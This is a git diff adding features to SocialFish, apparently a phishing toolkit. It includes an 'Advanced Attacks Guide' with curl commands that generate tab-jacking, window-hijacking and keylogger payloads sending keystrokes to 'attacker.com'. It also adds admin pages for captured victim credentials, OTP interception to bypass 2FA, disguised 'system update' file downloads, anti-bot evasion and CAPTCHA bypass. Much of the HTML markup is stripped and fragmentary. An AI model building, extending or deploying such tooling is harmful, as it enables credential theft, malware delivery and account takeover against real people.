diff --git a/.env b/.env new file mode 100644 index 0000000..74749fc --- /dev/null +++ b/.env @@ -0,0 +1,12 @@ +# SocialFish v3.0 Configuration +DATABASE=./database.db +FLASK_ENV=development +FLASK_DEBUG=0 +SECRET_KEY=change-me-to-random-string + +# Tunneling +NGROK_TOKEN= +CLOUDFLARED_TOKEN= + +# Webhook +WEBHOOK_TIMEOUT=5 diff --git a/ADVANCED_ATTACKS_GUIDE.md b/ADVANCED_ATTACKS_GUIDE.md new file mode 100644 index 0000000..3d87136 --- /dev/null +++ b/ADVANCED_ATTACKS_GUIDE.md @@ -0,0 +1,475 @@ +# SocialFish Advanced Attacks Guide + +## Overview + +SocialFish v3.0 includes comprehensive advanced attack capabilities for post-capture control, credential theft, and victim redirection. All attacks are JavaScript-based and can be injected into cloned pages. + +--- + +## Attack Types + +### 1. Tab Jacking / Window Hijacking + +**Purpose**: Redirect victim to a target URL, preventing them from going back to the original site. + +#### Tab Jacking (Soft Redirect) +```bash +curl -X POST http://localhost:5000/api/attacks/tabjack \ + -H "Content-Type: application/json" \ + -d '{ + "redirect_url": "https://attacker.com/capture", + "delay_ms": 500 + }' +``` + +**Payload Features**: +- Overrides `window.open()` to intercept new tab attempts +- Uses `window.location` to force redirect after delay +- Handles focus stealing +- Invisible to victim + +#### Window Hijacking (Aggressive) +```bash +curl -X POST http://localhost:5000/api/attacks/window-hijack \ + -H "Content-Type: application/json" \ + -d '{ + "redirect_url": "https://attacker.com/capture" + }' +``` + +**Payload Features**: +- Overrides `window.location` getter/setter +- Prevents back button navigation via `history` +- Stops page unload events +- Most aggressive redirect method + +--- + +### 2. Keylogger Injection + +**Purpose**: Capture all keystrokes in input fields and send to attacker server. + +```bash +curl -X POST http://localhost:5000/api/attacks/keylogger \ + -H "Content-Type: application/json" \ + -d '{ + "webhook_url": "https://attacker.com/api/webhook" + }' +``` + +**Payload Features**: +- Tracks keystrokes in `` and ` +
+ + +
+ + + +
+ How it works: Opens the real website in a new tab while redirecting the original tab to your clone. Victim is less likely to notice. +
+ + + + + +
+
+
+
+
+
File Upload Injection
+
+
+

Trigger file download on victim machine

+ +
+
+ + +
+ +
+ + +
+ +
+ + Shows system update progress bar +
+ + +
+
+
+
+ +
+
+
+
Generated Payload
+
+
+ +
+ + +
+
+
+ +
+ Legal Warning: Only use for authorized security testing. Malware distribution is illegal. +
+
+
+
+ + +
+
+
+
+
+
Stealth Evasion
+
+
+

Evade anti-bot detection and fingerprinting

+ +
+ + +
+ +
+ Perfection.js: Spoofs navigator.webdriver, chrome object, plugins, languages, UA, timezone, WebGL +
+ +
+ Fingerprint Evasion: Bypasses Canvas, WebGL, AudioContext, Font fingerprinting +
+ + +
+
+
+ +
+
+
+
Generated Payload
+
+
+ +
+ + +
+
+
+ +
+ Tip: Inject into <head> as early as possible to prevent detection before user interacts +
+
+
+
+ + +
+
+
+
+
+
CAPTCHA Solving
+
+
+

Auto-detect and bypass CAPTCHA challenges

+ +
+
+ + +
+ + + + +
+ +
+ +
Auto-Detect CAPTCHA
+

Upload HTML to detect CAPTCHA type on page

+ +
+ + +
+
+
+
+ +
+
+
+
Detection Results
+
+
+
+ Results will appear here... +
+
+
+ +
+ Supported Types: reCAPTCHA v2/v3, hCaptcha, Image CAPTCHA +
+ +
+ Note: Manual solving requires operator interaction. API services charge per solution (~$0.001-$0.01) +
+
+
+
+ + + + + + + + +{% endblock %} diff --git a/templates/admin/index.html b/templates/admin/index.html index 012cbfe..4676338 100755 --- a/templates/admin/index.html +++ b/templates/admin/index.html @@ -105,6 +105,7 @@

@@ -123,6 +124,8 @@

Easy Access

+ +

@@ -245,6 +248,8 @@

Successful attacks

+ {% endblock %} +
diff --git a/templates/admin/otp_panel.html b/templates/admin/otp_panel.html new file mode 100644 index 0000000..dbb48b8 --- /dev/null +++ b/templates/admin/otp_panel.html @@ -0,0 +1,172 @@ + + + + OTP Panel - SocialFish + + + + + + + + +
+
+ +
+
+

Victim Session

+
+

Session ID:

+

Victim IP:

+

User Agent:

+

Submitted At:

+
+

Captured Credentials

+
+
+
+ + +
+
+

OTP Code

+

Waiting for victim to receive OTP...

+ +
+ +
+ +
+ + + +
+ +
+
+

Waiting for OTP codes to arrive. They will appear above automatically if configured.

+

You can also manually paste OTP codes received via other channels.

+
+
+
+
+ + +
+

Network Activity

+
+

Monitoring network requests...

+
+
+
+ + + + + diff --git a/templates/admin/recording_studio.html b/templates/admin/recording_studio.html new file mode 100644 index 0000000..c1023e0 --- /dev/null +++ b/templates/admin/recording_studio.html @@ -0,0 +1,389 @@ +{% extends "admin/index.html" %} + +{% block content %} +
+
+
+
+
+

+ Recording Studio +

+
+
+ + +
+
+
+
+
Playwright
+

Async, headless, full network interception

+ +
+
+
+
+
+
+
Selenium
+

Chrome/Firefox, headless mode, form auto-fill

+ +
+
+
+
+ + + + + + + +
+
+
+
+ + +
+
+
+
+
Stealth Options
+
+
+ +

Evades detection by spoofing navigator properties and fingerprints

+
+
+
+ +
+
+
+
CAPTCHA Solving
+
+
+ +

Auto-detect and solve CAPTCHA on page

+
+
+
+ +
+
+
+
Attack Payloads
+
+
+ + +
+
+
+
+ + +
+
+
+
+
Mock Authentication Server
+
+
+

Test recordings against realistic authentication flows (OAuth 2.0, SSO, 2FA).

+ + +
+
+
+
+ +
+ + + + +{% endblock %} diff --git a/templates/admin/sessions.html b/templates/admin/sessions.html new file mode 100644 index 0000000..4c07ecc --- /dev/null +++ b/templates/admin/sessions.html @@ -0,0 +1,108 @@ + + + + Sessions - SocialFish + + + + + + + +
+

Captured Victim Sessions

+

All credentials and data captured from phishing campaigns.

+ + + + + + + + + + + + + + + +
Session IDTemplateVictim IPBrowserCaptured AtActions
Loading...
+
+ + + + + diff --git a/templates/admin/templates.html b/templates/admin/templates.html new file mode 100644 index 0000000..7e4d60d --- /dev/null +++ b/templates/admin/templates.html @@ -0,0 +1,192 @@ + + + + Templates - SocialFish + + + + + + + +
+

Saved Templates

+

Clone URLs, manage templates, and generate lure links for phishing campaigns.

+ +
+ +
+
+ + + + + + + + +